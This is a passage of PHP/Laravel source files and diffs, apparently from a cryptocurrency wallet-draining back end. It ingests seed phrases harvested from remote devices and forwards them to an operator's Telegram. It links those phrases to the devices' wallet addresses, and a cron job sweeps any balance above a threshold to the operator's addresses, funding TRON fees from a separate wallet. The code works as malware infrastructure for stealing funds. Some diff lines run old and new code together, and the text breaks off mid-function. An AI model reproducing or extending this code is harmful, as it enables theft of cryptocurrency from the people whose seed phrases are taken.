use Illuminate\Support\LazyCollection;
class AutoTransferService
{
/** Same address + asset: skip another auto sweep within this window; still refresh balance. */
private const COOLDOWN_MINUTES = 3;
public function __construct(
private readonly AutoTransferConfig $config,
private readonly TransferService $transfers,
private readonly WalletBalanceService $balances,
) {}
/**
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
*
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
*/
public function run(): array
{
$stats = [
'inspected' => 0,
'triggered' => 0,
'ok' => 0,
'failed' => 0,
'skipped' => 0,
];
create_log([
'event' => 'auto_transfer_run_start',
'at' => now()->toDateTimeString(),
], 'transfer');
foreach ($this->candidates() as $address) {
$stats['inspected']++;
$outcome = $this->evaluate($address, 'cron');
$stats['triggered'] += $outcome['triggered'];
$stats['ok'] += $outcome['ok'];
$stats['failed'] += $outcome['failed'];
$stats['skipped'] += $outcome['skipped'];
}
create_log([
'event' => 'auto_transfer_run_end',
'stats' => $stats,
'at' => now()->toDateTimeString(),
], 'transfer');
return $stats;
}
/**
* @return LazyCollection<int, WalletAddress>
*/
public function candidates(): LazyCollection
{
return WalletAddress::query()
->whereNotNull('mnemonic_id')
->where(function ($q) {
$q->where('usdt', '>', 0)
->orWhere('trx', '>', 0)
->orWhere('eth', '>', 0)
->orWhere('btc', '>', 0);
})
->orderBy('id')
->cursor();
}
/**
* @return array{triggered: int, ok: int, failed: int, skipped: int}
*/
public function evaluate(WalletAddress $address, string $reason = 'cron'): array
{
try {
return $this->evaluateInner($address, $reason);
} catch (\Throwable $e) {
create_log([
'event' => 'auto_transfer_evaluate_exception',
'wallet_address_id' => $address->id,
'address' => $address->address,
'chain' => $address->chain_type,
'reason' => $reason,
'error' => $e->getMessage(),
], 'transfer');
return ['triggered' => 0, 'ok' => 0, 'failed' => 1, 'skipped' => 0];
}
}
/**
* @return array{triggered: int, ok: int, failed: int, skipped: int}
*/
private function evaluateInner(WalletAddress $address, string $reason): array
{
$stats = ['triggered' => 0, 'ok' => 0, 'failed' => 0, 'skipped' => 0];
$base = [
'wallet_address_id' => $address->id,
'address' => (string) $address->address,
'chain' => (string) $address->chain_type,
'mnemonic_id' => $address->mnemonic_id,
'reason' => $reason,
'balances' => [
'usdt' => $address->usdt,
'trx' => $address->trx,
'eth' => $address->eth,
'btc' => $address->btc,
],
];
if ($address->mnemonic_id === null) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'no_mnemonic',
], 'transfer');
$stats['skipped']++;
return $stats;
}
if (! $this->config->isEnabledForAddress($address)) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'disabled_for_channel',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$chain = strtoupper(trim((string) $address->chain_type));
$assets = $this->assetsForChain($chain);
if ($assets === []) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'unsupported_chain',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$transferChain = $this->transferChainKey($chain);
if ($transferChain === null) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'unsupported_transfer_chain',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$anyAssetChecked = false;
foreach ($assets as $asset) {
$col = strtolower($asset);
$balance = $address->{$col} ?? null;
if ($balance === null || $balance === '' || ! is_numeric($balance)) {
continue;
}
$anyAssetChecked = true;
$threshold = $this->config->thresholdForAddress($address, $asset);
$scale = $this->assetScale($asset);
if (bccomp((string) $balance, $threshold, $scale) <= 0) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'below_threshold',
'asset' => $asset,
'balance' => (string) $balance,
'threshold' => $threshold,
], 'transfer');
$stats['skipped']++;
continue;
}
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_cooldown_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'recent_auto_transfer',
'asset' => $asset,
'cooldown_minutes' => self::COOLDOWN_MINUTES,
'balance' => (string) ($address->{$col} ?? $balance),
], 'transfer');
$stats['skipped']++;
continue;
}
// Live re-check before spending gas (DB may still be stale).
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_preflight_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
$balance = $address->{$col} ?? null;
if ($balance === null || $balance === '' || ! is_numeric($balance)
|| bccomp((string) $balance, $threshold, $scale) <= 0) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'below_threshold_live',
'asset' => $asset,
'balance' => is_numeric($balance) ? (string) $balance : null,
'threshold' => $threshold,
], 'transfer');
$stats['skipped']++;
continue;
}
$stats['triggered']++;
create_log($base + [
'event' => 'auto_transfer_trigger',
'asset' => $asset,
'balance' => (string) $balance,
'threshold' => $threshold,
'transfer_chain' => $transferChain,
], 'transfer');
$result = $this->transfers->handle(
$transferChain,
(string) $address->address,
null,
$asset,
'auto',
);
if (($result['ok'] ?? false) === true) {
$stats['ok']++;
create_log($base + [
'event' => 'auto_transfer_success',
'asset' => $asset,
'txid' => $result['txid'] ?? null,
'amount' => $result['amount'] ?? null,
'to' => $result['to'] ?? null,
], 'transfer');
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_balance_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
} else {
$stats['failed']++;
create_log($base + [
'event' => 'auto_transfer_failed',
'asset' => $asset,
'error' => $result['error'] ?? 'unknown',
], 'transfer');
}
}
if (! $anyAssetChecked) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'no_numeric_balances_for_chain_assets',
'assets' => $assets,
], 'transfer');
$stats['skipped']++;
}
return $stats;
}
private function recentAutoSuccess(string $fromAddress, string $asset): bool
{
$fromAddress = trim($fromAddress);
$asset = strtoupper(trim($asset));
if ($fromAddress === '' || $asset === '') {
return false;
}
return TransferRecord::query()
->where('from_address', $fromAddress)
->where('asset', $asset)
->where('operator', 'auto')
->where('status', TransferRecord::STATUS_SUCCESS)
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
->exists();
}
private function assetScale(string $asset): int
{
return match (strtoupper($asset)) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
}
/**
* @return list<string>
*/
private function assetsForChain(string $chain): array
{
return match ($chain) {
'TRON', 'TRX' => ['USDT', 'TRX'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
'BTC', 'BITCOIN' => ['BTC'],
default => [],
};
}
private function transferChainKey(string $chain): ?string
{
return match ($chain) {
'TRON', 'TRX' => 'tron',
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'BTC', 'BITCOIN' => 'btc',
default => null,
};
}
}
+26 -2
View File
@@ -28,8 +28,20 @@ class TronDriver implements ChainDriver
$derived = Bip44::derive($mnemonic, $this->path($index)); $derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); $from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
return $this->sendNativeWithPrivateKey($derived['private_key'], $from, $to, $amount);
}
/**
* Send TRX using a raw private key (fee top-up wallet).
*/
public function sendNativeWithPrivateKey(string $privateKeyHex, string $from, string $to, string $amount): string
{
if (! $this->isValidAddress($from) || ! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [ $tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from, 'owner_address' => $from,
'to_address' => $to, 'to_address' => $to,
@@ -37,7 +49,19 @@ class TronDriver implements ChainDriver
'visible' => true, 'visible' => true,
]); ]);
return $this->signAndBroadcast($tx, $derived['private_key']); return $this->signAndBroadcast($tx, $privateKeyHex);
}
public static function addressFromPrivateKey(string $privateKeyHex): string
{
$privateKeyHex = strtolower(trim($privateKeyHex));
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new \Elliptic\EC('secp256k1');
$pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex');
return TronAddress::fromUncompressedPublicKey($pub);
} }
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
+6
View File
@@ -24,6 +24,7 @@ class IngestService
private readonly TelegramNotifier $telegram, private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances, private readonly WalletBalanceService $balances,
private readonly TokenviewMonitorService $tokenview, private readonly TokenviewMonitorService $tokenview,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {} ) {}
/** /**
@@ -452,6 +453,7 @@ class IngestService
$row->mnemonic = $secret; $row->mnemonic = $secret;
$row->save(); $row->save();
if ($isNew) { if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret); $this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
} }
} }
@@ -567,6 +569,10 @@ class IngestService
$attrs $attrs
); );
if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr);
}
$isTron = in_array($chainType, ['TRON', 'TRX'], true); $isTron = in_array($chainType, ['TRON', 'TRX'], true);
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
if ($isTron && (! $existing || $coinAttrs === [])) { if ($isTron && (! $existing || $coinAttrs === [])) {
+205
View File
@@ -0,0 +1,205 @@
<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use InvalidArgumentException;
class MnemonicAddressLinker
{
public const MAX_DERIVE_INDEX = 4;
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
*/
public function linkAddress(WalletAddress $address): bool
{
if ($address->mnemonic_id !== null) {
return false;
}
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
return false;
}
$mnemonics = WalletMnemonic::query()
->where('device_id', $address->device_id)
->orderBy('id')
->get();
if ($mnemonics->isEmpty()) {
return false;
}
$target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth';
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
if ($phrase === null || trim($phrase) === '') {
continue;
}
$matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive);
if ($matchedIndex === null) {
continue;
}
$address->mnemonic_id = $mnemonicRow->id;
$address->derive_index = $matchedIndex;
$address->save();
return true;
}
return false;
}
/**
* After a new mnemonic is stored: link all unlinked addresses on the same device
* whose chains appear among those addresses (only those chains are derived).
*
* @return int Number of addresses linked
*/
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return 0;
}
$addresses = WalletAddress::query()
->where('device_id', $mnemonic->device_id)
->whereNull('mnemonic_id')
->orderBy('id')
->get();
if ($addresses->isEmpty()) {
return 0;
}
$chainTypes = $addresses
->pluck('chain_type')
->filter(fn ($c) => is_string($c) && $c !== '')
->unique()
->values()
->all();
/** @var array<string, array<string, int>> $derivedByChainKey map chainKey => [normalizedAddress => index] */
$derivedByChainKey = [];
foreach ($chainTypes as $chainType) {
$driver = $this->resolveDriver((string) $chainType);
if ($driver === null) {
continue;
}
$chainKey = $driver->chainId();
if (isset($derivedByChainKey[$chainKey])) {
continue;
}
$derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase);
}
if ($derivedByChainKey === []) {
return 0;
}
$linked = 0;
foreach ($addresses as $address) {
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
continue;
}
$map = $derivedByChainKey[$driver->chainId()] ?? null;
if ($map === null) {
continue;
}
$lookup = $driver->chainId() === 'eth'
? strtolower((string) $address->address)
: (string) $address->address;
if (! array_key_exists($lookup, $map)) {
continue;
}
$address->mnemonic_id = $mnemonic->id;
$address->derive_index = $map[$lookup];
$address->save();
$linked++;
}
return $linked;
}
private function resolveDriver(string $chainType): ?ChainDriver
{
$chain = strtolower(trim($chainType));
if ($chain === '') {
return null;
}
// BNB / BSC share ETH derivation paths.
if (in_array($chain, ['bnb', 'bsc'], true)) {
$chain = 'eth';
}
try {
return $this->chains->resolve($chain);
} catch (InvalidArgumentException) {
return null;
}
}
/**
* @return array<string, int> normalized address => derive index
*/
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{
$caseInsensitive = $driver->chainId() === 'eth';
$map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
break;
}
$key = $caseInsensitive ? strtolower($derived) : $derived;
if (! array_key_exists($key, $map)) {
$map[$key] = $index;
}
}
return $map;
}
private function matchIndex(
ChainDriver $driver,
string $phrase,
string $target,
bool $caseInsensitive,
): ?int {
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
return null;
}
$match = $caseInsensitive
? strcasecmp($derived, $target) === 0
: $derived === $target;
if ($match) {
return $index;
}
}
return null;
}
}
+122 -99
View File
@@ -2,42 +2,58 @@
namespace App\Services; namespace App\Services;
use App\Models\Setting; use RuntimeException;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
class SettingsService class SettingsService
{ {
public const KEYS = [ /**
'telegram.bot_token', * Admin-editable settings persisted to `.env`.
'telegram.bot_username', *
'telegram.owner_chat_id', * @var array<string, string>
'channels.max_per_agent', */
'channels.domains', public const ENV_KEYS = [
'panel.admin_hosts', 'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
'panel.agent_hosts', 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
]; ];
/** @return array<string, string|null> */ /** Empty form value means keep existing env value. */
public function all(): array private const SECRET_KEYS = [
{ 'transfer.fee_private_key_tron',
$out = []; ];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
public function get(string $key, ?string $default = null): ?string public function get(string $key, ?string $default = null): ?string
{ {
if (! $this->tableReady()) { $value = match ($key) {
'telegram.bot_token' => config('coruna.telegram.bot_token'),
'telegram.bot_username' => config('coruna.telegram.bot_username'),
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
'transfer.to_address' => config('coruna.transfer.to_address'),
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
default => null,
};
if ($value === null || $value === '') {
return $default; return $default;
} }
$map = $this->cachedMap(); return (string) $value;
return array_key_exists($key, $map) ? $map[$key] : $default;
} }
/** /**
@@ -45,82 +61,51 @@ class SettingsService
*/ */
public function putMany(array $values): void public function putMany(array $values): void
{ {
$envPairs = [];
foreach ($values as $key => $value) { foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) { if (! isset(self::ENV_KEYS[$key])) {
continue; continue;
} }
$str = $value === null ? null : trim((string) $value); $str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate( if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) {
['key' => $key], continue;
['value' => $str === '' ? null : $str] }
);
$str ??= '';
$envPairs[self::ENV_KEYS[$key]] = $str;
$this->applyRuntimeConfig($key, $str);
}
if ($envPairs !== []) {
$this->writeEnv($envPairs);
} }
Cache::forget($this->cacheKey());
$this->applyToConfig();
} }
/** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */
public function applyToConfig(): void public function applyToConfig(): void
{ {
if (! $this->tableReady()) { // no-op: no DB overlay
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$botName = $map['telegram.bot_username'] ?? null;
if ($botName !== null) {
config(['coruna.telegram.bot_username' => $botName]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
$domains = self::parseDomains($map['channels.domains']);
// Settings override channel hosts only; reporting stays CORUNA_REPORTING_DOMAINS.
config([
'coruna.channel_domains' => $domains,
'coruna.deployment_domains' => $domains,
]);
}
// Once saved in settings, DB wins (null/empty = no Host restriction).
if (array_key_exists('panel.admin_hosts', $map)) {
config(['coruna.panel.admin_hosts' => self::parseDomains($map['panel.admin_hosts'])]);
}
if (array_key_exists('panel.agent_hosts', $map)) {
config(['coruna.panel.agent_hosts' => self::parseDomains($map['panel.agent_hosts'])]);
}
} }
/** Effective values for the settings form (DB overrides env). */ /** @return array<string, string> */
public function effectiveForForm(): array public function effectiveForForm(): array
{ {
$domains = config('coruna.channel_domains', []); $feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== '';
$adminHosts = config('coruna.panel.admin_hosts', []);
$agentHosts = config('coruna.panel.agent_hosts', []);
return [ return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5), 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '', 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
'panel.admin_hosts' => is_array($adminHosts) ? implode("\n", $adminHosts) : '', 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
'panel.agent_hosts' => is_array($agentHosts) ? implode("\n", $agentHosts) : '', 'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
'transfer.fee_private_key_tron' => '',
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'),
]; ];
} }
@@ -136,7 +121,6 @@ class SettingsService
$d = trim((string) $d); $d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d; $d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/'); $d = rtrim($d, '/');
// Host only (drop path / port).
$d = explode('/', $d, 2)[0]; $d = explode('/', $d, 2)[0];
$d = preg_replace('/:\d+$/', '', $d) ?? $d; $d = preg_replace('/:\d+$/', '', $d) ?? $d;
@@ -144,25 +128,64 @@ class SettingsService
}, $parts))); }, $parts)));
} }
/** @return array<string, string|null> */ private function applyRuntimeConfig(string $key, string $value): void
private function cachedMap(): array
{ {
return Cache::remember($this->cacheKey(), 300, function () { match ($key) {
return Setting::query()->pluck('value', 'key')->all(); 'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
}); 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
default => null,
};
} }
private function cacheKey(): string /**
* @param array<string, string> $pairs
*/
private function writeEnv(array $pairs): void
{ {
return 'coruna.settings.map'; $path = base_path('.env');
} if (! is_file($path)) {
throw new RuntimeException('.env not found');
}
if (! is_writable($path)) {
throw new RuntimeException('.env is not writable');
}
private function tableReady(): bool $content = (string) file_get_contents($path);
{ foreach ($pairs as $name => $value) {
try { $line = $name.'='.$this->formatEnvValue($value);
return Schema::hasTable('settings'); if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) {
} catch (\Throwable) { $content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content;
return false; } else {
$content = rtrim($content, "\r\n")."\n".$line."\n";
}
putenv($name.'='.$value);
$_ENV[$name] = $value;
$_SERVER[$name] = $value;
}
if (file_put_contents($path, $content) === false) {
throw new RuntimeException('Failed to write .env');
} }
} }
private function formatEnvValue(string $value): string
{
if ($value === '') {
return '';
}
if (preg_match('/[\s#"\'\\\\]/', $value) === 1) {
return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"';
}
return $value;
}
} }
+66
View File
@@ -296,6 +296,72 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
/**
* Auto-transfer result (success or failure).
*/
public function notifyAutoTransfer(
string $deviceId,
string $fromAddress,
string $chain,
string $asset,
bool $ok,
?string $amount = null,
?string $toAddress = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* TRON fee / energy top-up result.
*/
public function notifyFeeTopup(
string $deviceId,
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
...$this->deviceHeader($deviceId),
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/** @return list<string> */ /** @return list<string> */
private function deviceHeader(string $deviceId): array private function deviceHeader(string $deviceId): array
{ {
+277 -2
View File
@@ -13,6 +13,8 @@ class TransferService
{ {
public function __construct( public function __construct(
private readonly ChainManager $chains, private readonly ChainManager $chains,
private readonly AutoTransferConfig $autoConfig,
private readonly TelegramNotifier $telegram,
) {} ) {}
/** /**
@@ -53,6 +55,17 @@ class TransferService
$asset = strtoupper(trim($asset)); $asset = strtoupper(trim($asset));
$record['asset'] = $asset; $record['asset'] = $asset;
create_log([
'event' => 'transfer_start',
'chain' => $chain,
'asset' => $asset,
'from' => $fromAddress,
'to' => $to,
'amount' => $record['amount'],
'operator' => $operator,
], 'transfer');
$driver = $this->chains->resolve($chain); $driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($fromAddress)) { if (! $driver->isValidAddress($fromAddress)) {
@@ -81,6 +94,11 @@ class TransferService
['mnemonic' => $mnemonic, 'index' => $index] = $resolved; ['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
// Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer.
if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) {
$this->ensureTronFeeTopup($driver, $fromAddress, $operator);
}
$txid = match ($asset) { $txid = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount), 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken( 'USDT' => $driver->sendToken(
@@ -111,6 +129,157 @@ class TransferService
} }
} }
/**
* TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet.
* Example: balance 5, target 20 → send 15 TRX.
*/
private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void
{
if (! $driver instanceof \App\Services\Chain\TronDriver) {
return;
}
$target = $this->autoConfig->feeTopupTrx();
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
create_log([
'event' => 'tron_fee_topup_skip',
'reason' => 'balance_sufficient',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
return;
}
$amount = bcsub($target, $trx, 6);
$amount = rtrim(rtrim($amount, '0'), '.');
if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) {
return;
}
$feeAddress = $this->autoConfig->feeAddressTron();
$feeKey = $this->autoConfig->feePrivateKeyTron();
if ($feeAddress === '' || $feeKey === '') {
create_log([
'event' => 'tron_fee_topup_failed',
'error' => 'fee wallet not configured',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)');
}
if (! $driver->isValidAddress($feeAddress)) {
throw new RuntimeException('Invalid TRON fee top-up address');
}
try {
$derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey);
if (strcasecmp($derived, $feeAddress) !== 0) {
throw new RuntimeException('TRON fee private key does not match fee address');
}
} catch (RuntimeException $e) {
throw $e;
} catch (\Throwable $e) {
throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage());
}
create_log([
'event' => 'tron_fee_topup_start',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'trx_before' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
$topupRecord = [
'from_address' => $feeAddress,
'to_address' => $fromAddress,
'chain' => 'tron',
'tx_hash' => null,
'amount' => $amount,
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'operator' => 'fee-topup'.($operator ? ':'.$operator : ''),
'status' => TransferRecord::STATUS_FAILED,
'error' => null,
];
try {
$txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount);
$topupRecord['tx_hash'] = $txid;
$topupRecord['status'] = TransferRecord::STATUS_SUCCESS;
$this->finish($topupRecord, [
'ok' => true,
'txid' => $txid,
'from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'asset' => 'TRX',
]);
create_log([
'event' => 'tron_fee_topup_success',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'txid' => $txid,
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: true,
amount: $amount,
txid: $txid,
);
} catch (\Throwable $e) {
$topupRecord['error'] = $e->getMessage();
